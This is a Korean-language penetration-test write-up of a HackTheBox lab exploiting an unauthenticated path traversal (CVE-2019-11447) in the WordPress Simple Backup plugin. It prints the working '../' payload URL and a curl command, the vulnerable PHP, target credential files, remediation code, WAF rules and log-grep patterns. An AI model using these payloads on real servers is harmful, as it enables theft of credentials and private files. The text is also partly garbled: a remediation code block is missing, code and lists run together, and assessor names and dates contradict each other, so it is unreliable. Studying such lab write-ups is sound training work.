
WordPress Simple Backup 플러그인의 인증되지 않은 경로 탐색(CVE-2019-11447)을 시연하는 상세 침투 테스트 보고서로, 악용 단계, 영향 분석 및 수정 지침을 포함합니다.
| 항목 | 세부 정보 |
|---|
| 문서 제목 | 침투 테스트 보고서 - WordPress 경로 탐색 |
| 고객/시험 | HackTheBox 랩 - CPTS 실습 1 |
| 날짜 | 2026년 8월 22일 |
| 평가자 | Cyberia (침투 테스터) |
| 평가 유형 | 그레이 박스 (외부, 자격 증명 없음) |
| 랩 환경 | 154.57.164.73:30706 |
| 랩 시간 | 1시간 |
| 목표 | 제한된 파일을 획득하기 위한 취약점 식별 및 악용 |
| 획득한 플래그 | HTB{my_f1r57_h4ck} |
154.57.164.73:30706에 호스팅된 웹 애플리케이션에 대한 이번 침투 평가에서, 인증되지 않은 공격자가 서버 파일시스템에서 임의의 파일을 다운로드하고 읽을 수 있게 하는 치명적인 취약점이 식별되었습니다.
취약한 WordPress 설치에는 인증이나 권한 부여 없이도 권한 없는 파일 접근을 허용하는 **경로 탐색 취약점(CVE-2019-11447)**이 있는 오래된 플러그인(Simple Backup v2.7.10)이 포함되어 있습니다.
이 취약점은 서버 루트에서 /flag.txt 파일을 획득하는 데 성공적으로 악용되었으며, 이는 기밀성의 완전한 침해를 확인시켜 줍니다. 이러한 접근 권한을 가진 공격자는 다음을 수행할 수 있습니다:
wp-config.php, .env)이 취약점은 데이터 보안, 개인정보 보호 컴플라이언스(GDPR, HIPAA, PCI-DSS) 및 시스템 무결성에 극심한 위험을 초래하므로 즉시 해결하기 위한 긴급 조치가 필요합니다.
| 심각도 | 수 | 비즈니스 영향 |
|---|---|---|
| 🔴 치명적 | 1 | 기밀성의 완전한 침해, 권한 없는 파일 접근 |
| 🟠 높음 | 0 | — |
| 🟡 중간 | 0 | — |
| 🟢 낮음 | 0 | — |
| ℹ️ 정보 | 1 | 오래된 소프트웨어 버전 감지 |
평가 유형: 그레이 박스 (외부 공격자, 제공된 자격 증명 없음, 네트워크 접근 가능)
평가 날짜: 2026년 8월 22일
테스트 접근 방식: 업계 표준 침투 테스트 프레임워크(PTES)를 따르는 비회피적이고 체계적인 평가:
CVE-2019-11447 | CWE-22: 제한된 디렉터리에 대한 경로명의 부적절한 제한
WordPress 플러그인 Simple Backup(버전 2.7.10/2.7.11, Exploit-DB 39883)의 관리자 "Backup Manager" 페이지에는 경로 탐색 취약점이 존재합니다. 이 플러그인은 download_backup_file GET 매개변수를 통해 제공되는 파일 경로를 검증하지 못하여, 공격자가 상대 경로 시퀀스(../)를 사용하여 의도된 simple-backup/ 디렉터리 외부로 이동하고 웹 서버 프로세스가 읽을 수 있는 모든 파일(파일시스템 루트의 파일 포함)을 다운로드할 수 있게 합니다.
취약한 엔드포인트:``` GET /wp-admin/tools.php?page=backup_manager&download_backup_file=../../../../../../../../../../flag.txt
`page=backup_manager`는 요청을 플러그인의 관리자 페이지 핸들러로 라우팅합니다. `download_backup_file`은 플러그인의 코드가 직접 읽고 검증 없이 파일 시스템 경로에 연결하는 매개변수로, 디렉터리 트래버설을 허용합니다.
---
### CVSS v3.1 점수
**7.5 - 높음** (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)
- **공격 벡터 (AV):** 네트워크
- **공격 복잡도 (AC):** 낮음
- **필요한 권한 (PR):** 없음
- **사용자 상호작용 (UI):** 없음
- **범위 (S):** 변경되지 않음
- **기밀성 (C):** 높음
- **무결성 (I):** 없음
- **가용성 (A):** 없음
---
### 비즈니스 영향
**기밀성 침해:** ⚠️ 치명적
공격자는 웹 서버에서 접근 가능한 모든 파일을 읽을 수 있으며, 여기에는 다음이 포함됩니다:
| 파일 | 영향 | 위험 수준 |
|------|--------|------------|
| `/wp-config.php` | 데이터베이스 자격 증명, 솔트, 키 | 🔴 치명적 |
| `/.env` | API 키, 비밀값, 구성 | 🔴 치명적 |
| `/etc/passwd` | 사용자 열거, 시스템 매핑 | 🟠 높음 |
| SSH 키 (`.ssh/id_rsa`) | 측면 이동, 시스템 접근 | 🔴 치명적 |
| `/proc/self/environ` | 실행 중인 애플리케이션 비밀값 | 🟠 높음 |
| 사용자 업로드 디렉터리 | 개인 파일, 미디어 | 🟠 높음 |
**규제 영향:**
- **GDPR 위반:** 사용자 데이터에 대한 무단 접근
- **HIPAA 위반:** 보호된 건강 정보 노출
- **PCI-DSS 위반:** 신용카드 데이터 또는 결제 정보 접근
- **SOC 2 위반:** 기밀성 요구사항 위반
---
### 취약한 코드 패턴
Exploit-DB 권고(39883.txt, `searchsploit -x`로 확인 — [ht4-poc.png](https://github.com/capivara-research/wordpress-path-traversal-cve-2019-11447/blob/HEAD/images/ht4-poc.png) 참조)는 `simple-backup-manager.php`의 플러그인 **삭제** 프리미티브를 문서화합니다:```php
if(array_key_exists('delete_backup_file', $_GET)){
$this->delete_local_backup_file($_GET['delete_backup_file']);
}
(no content provided)```php $bk_dir = ABSPATH."simple-backup/"; unlink($bk_dir . $filename);
`$filename`은 `$_GET['delete_backup_file']`에서 직접 가져오며 `basename()`이나 경로 포함 검사가 전혀 없습니다. `../pizza.txt`를 전달하면 `$bk_dir . $filename`이 `.../simple-backup/../pizza.txt` → `.../pizza.txt`로 해석되어 의도된 백업 폴더를 벗어나게 됩니다.
이번 작업에서 실제로 악용된 **다운로드** 프리미티브(`download_backup_file`)는 동일한 플러그인에서 정확히 동일한 정화되지 않은 연결 패턴을 따르지만, 파일을 삭제하는 대신 요청자에게 다시 제공합니다. 이를 통해 파일시스템 루트(`ABSPATH/simple-backup/`에서 `../` 10회)에서 `/flag.txt`를 검색할 수 있었습니다.
**문제점:**
- 디렉터리 구성 요소를 제거하기 위한 `basename()` 미사용
- 허용된 파일의 화이트리스트 없음
- `realpath()`가 `ABSPATH."simple-backup/"` 내에 유지되는지 검증하지 않음
- 사용자 입력을 파일 경로에 직접 연결
- 파일 제공 전에 `current_user_can()` / 인증 확인이 없음 — 핸들러는 플러그인 로드 시 실행되며, WordPress 자체 `wp-admin` 인증 게이트보다 앞서 실행되므로 **로그인하지 않고도** 접근 가능합니다.
---
### 개념 증명
#### **1단계: 초기 접근 — 애플리케이션 식별**
브라우저(`http://154.57.164.73:30706/`)를 통해 대상에 직접 연결했습니다. WordPress 설치의 제목은 **"GETTING STARTED"**이며, 홈페이지의 공개 블로그 게시물에는 취약한 구성 요소를 식별할 수 있는 정확한 플러그인 이름과 버전이 일반 텍스트로 공개되어 있습니다: **"Simple Backup Plugin 2.7.10 for WordPress"** — 열거 도구 없이도 취약한 구성 요소를 핑거프린팅할 수 있었습니다.

#### **2단계: 서비스 핑거프린팅**```bash
whatweb http://154.57.164.73:30706/
결과: Apache/2.4.41 (Ubuntu Linux), WordPress 5.6.1이 MetaGenerator 및 WordPress 플러그인 시그니처를 통해 확인되었습니다.

searchsploit simple backup wordpress
**결과:**```
Exploit Title | Path
------------------------------------------------------------------------------
WordPress Plugin Simple Backup 2.7.11 - Multiple Vulnerabilities | php/webapps/39883.txt

전체 권고문을 읽어 정확한 취약 매개변수와 코드 경로를 파악합니다:```bash searchsploit -x php/webapps/39883.txt
보고서는 `delete_backup_file` 매개변수를 통한 인증되지 않은 **임의 파일 삭제(Arbitrary File Deletion)** 를 문서화하고 있으며, `simple-backup/` 아래의 백업 파일(그리고 동일한 무결점 코드 경로를 통해 `download_backup_file`을 통한 임의 파일)이 인증 없이 검색될 수 있다고 명시합니다.

#### **4단계: 악용 — `download_backup_file`을 통한 경로 탐색(Path Traversal)**
플러그인의 관리자 페이지 라우팅에서 식별된 취약한 엔드포인트:```
http://154.57.164.73:30706/wp-admin/tools.php?page=backup_manager&download_backup_file=
악용 페이로드 (10× ../로 ABSPATH/simple-backup/에서 파일시스템 루트까지 이동):```
http://154.57.164.73:30706/wp-admin/tools.php?page=backup_manager&download_backup_file=../../../../../../../../../../flag.txt
**GUI(이 평가에서 사용됨):** 페이로드 URL을 브라우저 주소 표시줄에 직접 입력하여 이동했습니다. 로그인은 필요하지 않았습니다 — 브라우저가 확인된 `flag.txt` 파일 다운로드를 자동으로 트리거했습니다.

**Headless에 해당하는 방식:**```bash
curl -s "http://154.57.164.73:30706/wp-admin/tools.php?page=backup_manager&download_backup_file=../../../../../../../../../../flag.txt" -o flag.txt
cat flag.txt
Flag Obtained: HTB{my_f1r57_h4ck}
The vulnerability succeeds because:
$_GET['download_backup_file'] is not checked against a whitelistrealpath() is not used to verify the file stays inside simple-backup/../) are not filteredABSPATH."simple-backup/"wp-admin auth gate — reachable while logged outcurrent_user_can() check confirms the requester should access the requested fileAttack Flow:``` User Input: ../../../../../../../../../../flag.txt ↓ No Validation (FAILURE POINT) ↓ Concatenated: ABSPATH/simple-backup/../../../../../../../../../../flag.txt ↓ Resolves to: /flag.txt (accessible!) ↓ Plugin serves file contents with web server permissions ↓ Browser downloads flag.txt to attacker's machine
---
### 영향 검증
✅ **기밀성 손상:** 웹 서버 프로세스가 읽을 수 있는 모든 파일에 접근 가능
✅ **인증 불필요:** 인증되지 않은 사용자도 악용 가능
✅ **사용자 상호작용 불필요:** 직접적인 HTTP 요청으로 악용 가능
✅ **반복 가능 및 신뢰성 확보:** 모든 취약한 버전에서 동작
✅ **중요 비즈니스 데이터 위험:** 구성 파일, 자격 증명, 사용자 데이터 노출
---
## 해결 방법
### **옵션 1: 입력 허용 목록 (권장)**
미리 정의된 파일 목록에서만 다운로드를 허용합니다.```php
<?php
// Define allowed backup files
$allowed_files = array(
'backup_2024_01_15.zip',
'backup_2024_01_16.zip',
'backup_2024_01_17.zip',
);
$requested_file = $_GET['download_backup_file'];
// Validate against whitelist
if (!in_array($requested_file, $allowed_files)) {
die("File not found or access denied");
}
// Use basename() as double protection
$file = basename($requested_file);
$filepath = ABSPATH . "simple-backup/" . $file;
// Verify file exists and is readable
if (!file_exists($filepath) || !is_readable($filepath)) {
die("File not found");
}
readfile($filepath);
?>
장점:
realpath()를 사용하여 경로를 정규화하고 포함 여부를 검증합니다:```php
**장점:**
- 심볼릭 링크와 복잡한 경로를 처리합니다
- 포함 여부를 자동으로 검증합니다
- 화이트리스트보다 더 유연합니다
---
### **옵션 3: 파일 이름만 필요할 때 basename() 사용**
파일 이름 구성 요소만 추출합니다:```php
<?php
$user_input = $_GET['download_backup_file'];
// Remove all directory components
$file = basename($user_input);
// Build safe path
$filepath = ABSPATH . "simple-backup/" . $file;
// Verify file exists
if (!file_exists($filepath)) {
die("File not found");
}
readfile($filepath);
?>
Advantages:
참고: 이 접근 방식은 모든 합법적인 파일이 하위 디렉터리가 없는 단일 디렉터리에 있는 경우에만 작동합니다.
웹 애플리케이션 방화벽(WAF) 규칙:```
ModSecurity Rule: SecRule ARGS:download_backup_file "@rx ../" "id:1000,phase:2,block,msg:'Path Traversal Attempt'" SecRule ARGS:download_backup_file "@rx %2e%2e%2f" "id:1001,phase:2,block,msg:'Encoded Path Traversal'"
**파일 시스템 권한:**```bash
# Restrict web server access to necessary directories only
chmod 750 /var/www/html/wp-content/plugins/
chmod 750 /var/www/html/wp-content/simple-backup/
# Remove sensitive files from web root
rm -f /var/www/html/.env
mv /var/www/html/wp-config.php /var/www/wp-config.php
# Use chroot/jailing for web server
# Set PHP open_basedir to restrict file access
php_admin_value[open_basedir] = /var/www/html/uploads
액세스 로깅 및 모니터링:```bash
tail -f /var/log/apache2/access.log | grep ".." tail -f /var/log/apache2/access.log | grep "%2e%2e"
**업데이트 관리:**
1. Simple Backup 플러그인 비활성화 또는 제거
2. 승인된 백업 솔루션을 보안 감사와 함께 설치
3. WordPress를 최신 버전으로 업데이트
4. 모든 플러그인을 최신 버전으로 업데이트
5. PHP를 보안 패치가 포함된 8.0+로 업데이트
---
## 공격 체인```
┌─────────────────────────────────────────────────────────────┐
│ 1. INITIAL ACCESS │
│ └─ Browse to 154.57.164.73:30706 │
│ └─ WordPress "GETTING STARTED" site identified │
│ └─ Homepage blog post discloses: Simple Backup Plugin 2.7.10│
└──────────────────────┬──────────────────────────────────────┘
│
┌──────────────────────▼──────────────────────────────────────┐
│ 2. ENUMERATION │
│ └─ whatweb confirms Apache 2.4.41, WordPress 5.6.1 │
└──────────────────────┬──────────────────────────────────────┘
│
┌──────────────────────▼──────────────────────────────────────┐
│ 3. VULNERABILITY RESEARCH │
│ └─ searchsploit → 39883.txt (Simple Backup 2.7.11 vulns) │
│ └─ searchsploit -x → read PoC, identify unsanitized │
│ delete_backup_file / download_backup_file parameters │
└──────────────────────┬──────────────────────────────────────┘
│
┌──────────────────────▼──────────────────────────────────────┐
│ 4. EXPLOITATION │
│ └─ Endpoint: /wp-admin/tools.php?page=backup_manager │
│ └─ Payload: download_backup_file=../..(x10)../flag.txt │
│ └─ Browser navigates to payload URL (no login required) │
│ └─ Plugin resolves path to /flag.txt and serves it │
└──────────────────────┬──────────────────────────────────────┘
│
┌──────────────────────▼──────────────────────────────────────┐
│ 5. SUCCESS │
│ └─ Flag Retrieved: HTB{my_f1r57_h4ck} │
│ └─ Confidentiality Breached │
│ └─ Unauthenticated arbitrary file read confirmed │
└─────────────────────────────────────────────────────────────┘
WordPress Simple Backup 플러그인에는 인증되지 않은 공격자가 서버에서 임의의 파일을 다운로드하고 읽을 수 있게 하는 치명적인 경로 순회(path traversal) 취약점이 존재합니다. 이 취약점은 웹 루트에서 민감한 파일을 획득하는 데 성공적으로 악용되었습니다.
위험 수준: 🔴 치명적(Critical)
| 우선순위 | 조치 | 일정 | 담당자 |
|---|---|---|---|
| 🔴 P0 | Simple Backup 플러그인 비활성화/제거 | 즉시 | 보안/운영 |
| 🔴 P0 | 화이트리스트 기반 파일 검증 구현 | 이번 주 | 개발 |
| 🟠 P1 | 경로 순회 차단을 위한 WAF 규칙 배포 | 이번 주 | 운영 |
| 🟠 P1 | 서버의 무단 액세스 로그 감사 | 이번 주 | 보안 |
| 🟠 P1 | 노출된 모든 자격 증명 교체 (DB, SSH, API) | 이번 주 | 운영 |
| 🟡 P2 | WordPress 코어 및 모든 플러그인 업데이트 | 이번 주 | 운영 |
| 🟡 P2 | 파일 무결성 모니터링 구현 | 다음 스프린트 | 보안 |
| 🟡 P2 | 다른 플러그인에 대한 전체 보안 감사 실시 | 다음 스프린트 | 보안 |
발견 사항: WordPress 사이트 "GETTING STARTED"는 블로그 게시물에서 설치된 플러그인과 버전을 공개적으로 노출합니다 — "Simple Backup Plugin 2.7.10 for WordPress"
발견 사항: Apache/2.4.41 (Ubuntu Linux), WordPress 5.6.1 확인됨
발견 사항: "WordPress Plugin Simple Backup 2.7.11 - Multiple Vulnerabilities" (php/webapps/39883.txt)
발견 사항: 권고문은 delete_backup_file을 통한 인증되지 않은 임의 파일 삭제를 문서화하며, 동일하게 정화되지 않은 코드 경로가 download_backup_file에도 적용됩니다
발견 사항: tools.php?page=backup_manager&download_backup_file=../../../../../../../../../../flag.txt로 이동하면 인증 없이 flag.txt가 다운로드됩니다: HTB{my_f1r57_h4ck}
CVE-2019-11447 — Simple Backup 경로 순회
CWE-22 — 제한된 디렉터리에 대한 경로명의 부적절한 제한('경로 순회')
CVSS v3.1 점수: 7.5 (높음)
OWASP Top 10 - A01:2021 깨진 접근 제어(Broken Access Control)
OWASP 경로 순회(Path Traversal)
PortSwigger Web Security Academy - 경로 순회(Path Traversal)
SearchSploit — Exploit Database 검색
NMAP — 네트워크 매퍼
WhatWeb — 웹 핑거프린팅 도구
본 보고서는 적절한 승인을 받고 정의된 범위 내에서 수행된 침투 테스트를 문서화합니다.
| 항목 | 값 |
|---|---|
| 보고서 상태 | ✅ 완료 |
| 발견 사항 검증 | ✅ 예 |
| 권장 사항 실행 가능 | ✅ 예 |
| 기밀성 | 🔒 높음 |
| 배포 범위 | 승인된 인원에게만 제한 |
평가자: Capivara Root (침투 테스터)
날짜: 2026년 8월 11일
서명: 디지털 보고서 - 물리적 서명 필요 없음
© 2026 침투 테스트 평가 | 기밀